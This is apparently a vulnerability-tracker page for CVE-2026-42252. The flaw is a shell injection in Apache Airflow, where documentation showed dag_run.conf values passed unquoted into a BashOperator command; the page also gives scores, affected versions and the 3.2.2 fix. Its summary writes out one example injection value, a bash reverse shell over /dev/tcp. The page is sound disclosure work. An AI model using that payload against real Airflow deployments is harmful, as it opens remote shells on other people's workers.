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TI-2026-30568 Aliases CVE-2026-42252GHSA-c85c-g9wv-pph2

Apache Airflow: BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

Priority MEDIUM 47CWE-1336Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
Low
Impact type
Code execution
Confidentiality · integrity · availability
High · High · None
Fix status
Fixed

Attack profile from CVSS 3.1 · CISA ADP. Fix status from CNA and GitHub. Impact type from CWE-1336.

Summary

Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release.

Why it matters now

Exploitation None reported CISA SSVC · not in CISA KEV
EPSS 0.00383 32nd percentileScored 2026-11-07
Fix Fixed Apache Airflow (Apache Software Foundation): 3.2.2apache-airflow (PyPI): 3.2.2

SSVC decision points

CISA ADP · SSVC 2.0.3

Exploitation
None
Automatable
Yes
Technical impact
Total

The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.

Affected products

VendorProductAffected versionsFixed inStatusSource
ApacheApache Airflow3.0.0 to before 3.2.23.2.2Patch availableCNA
—apache-airflow (PyPI)3.0.0 to before 3.2.23.2.2Patch availableGHSA-c85c-g9wv-pph2
  • Apache Airflow VendorApache Affected 3.0.0 to before 3.2.2 Fixed in 3.2.2 Patch available CNA
  • apache-airflow (PyPI) Vendor— Affected 3.0.0 to before 3.2.2 Fixed in 3.2.2 Patch available GHSA-c85c-g9wv-pph2

CPE configurations NVD · 1

CPEVersionsRoleVendor
cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*3.0.0 to before 3.2.2VulnerableApache
  • cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* Versions 3.0.0 to before 3.2.2 Vulnerable ·Apache

Remediation

  • Fix · CNA Apache Airflow (Apache Software Foundation) Fixed in 3.2.2
  • Fix · GHSA-c85c-g9wv-pph2 apache-airflow (PyPI) Fixed in 3.2.2 Advisory →

Fixed in the same release

Records fixed by the same vendor advisory or release, as the CNA lists them.

  • Release ·

    Apache Airflow 3.2.2

    17 records Highest priority Priority MEDIUM 3 MEDIUM, 14 LOW

    Other records, highest priority first

    • TI-2026-36484 Apache Airflow: JWT Token Exposure in KubernetesExecutor Command-Line ArgumentsPriority MEDIUM 41
    • TI-2026-30661 Apache Airflow: Authenticated RCE via XCom PATCH endpoint — XComUpdateBody missing FORBIDDEN_XCOM_KEYS validatorPriority MEDIUM 41
    • TI-2026-33151 Apache Airflow: Arbitrary import in custom deadline-reference deserializationPriority LOW 39
    Show all 17 records →

Timeline

  1. 2026-10-02 Threatist record created from CVE-2026-42252
  2. 2026-10-03 Alias added: GHSA-c85c-g9wv-pph2
  3. 2026-11-03 Fix available: [email protected] · CNA

References

Patch 1

Advisory 2

Other 2

  • TI-2020-10905 Missing authentication in Apache Airflow KEVCVSS 3.1CRITICAL 9.8
  • TI-2020-09638 OS command injection in Apache Airflow KEVCVSS 3.1HIGH 8.8
  • TI-2022-19017 Apache Airflow <2.4.0 has an RCE in a bash example CVSS 3.1HIGH 8.8
  • TI-2021-16140 Apache Airflow: Variable Import endpoint missed authentication check CVSS 3.1CRITICAL 9.8
  • TI-2022-08169 Apache Airflow: RCE in example DAGs CVSS 3.1HIGH 8.8
  • TI-2024-26776 Apache Airflow: DAG Author Code Execution possibility in airflow-scheduler CVSS 3.1HIGH 8.8
See all 157 →

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences